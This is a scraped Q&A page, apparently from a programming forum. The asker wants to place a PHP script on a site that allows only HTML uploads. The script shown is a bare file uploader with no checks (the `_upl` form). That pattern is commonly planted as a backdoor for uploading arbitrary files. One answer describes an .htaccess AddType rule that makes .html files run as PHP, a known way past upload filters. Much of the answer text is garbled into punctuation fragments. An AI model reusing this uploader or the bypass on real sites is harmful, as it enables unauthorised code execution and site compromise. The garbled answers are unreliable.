How to include a PHP file in HTML

I tried to upload this file to a website, but it will not allow me to upload a PHP file to a website. Only HTML allowed. The problem is that I do not know how to include this PHP script in HTML.

<?php
echo '<title>File Uploader</title>';
echo 
  '<form action="" method="post" 
                   enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50">
      <input name="_upl" type="submit" id="_upl" value="Upload">
      </form>';
if( $_POST['_upl'] == "Upload" )
{
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
   echo '<b>Upload Success!</b><br><br>';
}
else { echo '<b>Upload Failed!</b><br><br>'; }
}
?>
+3
source share
3 answers

You cannot include a php file in html unless the server allows anything but html. You can only upload a php file to a server that allows you to serve PHP.

+2
source

PHP- - PHP, -: PHP HTML-, . . -

- PHP, , . .php. , PHP .html, .

+1

, php- html (Tested)

PHP , , PHP- *.html *.htm. ".htaccess" . , .htaccess , . , " , -".

, .htaccess . , - HTML, PHP.

".htaccess" . , . Unix- , dot . (. , , "xyz.htaccess" . - , ". Htaccess" ) , "" MS Windows. : AddType/x-httpd-php.html.htm , , PHP5: AddType/x-httpd-php5.html.htm .htaccess -. , ".htaccess" . - *.htm *.html, PHP.

, , HTML , . "php-in-html-test.htm", -:

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
 <HTML>
<HEAD>
<TITLE>Use PHP in HTML files</TITLE>
</HEAD>

<BODY>
    <h1>
    <?php echo "It works!"; ?>
    </h1>
</BODY>
</HTML>

, : http://www.your-domain.com/php-in-html-test.htm ( , , your-domain.com ...) " !" , PHP . * html *.htm . , , .htaccess, . , .

0

All Articles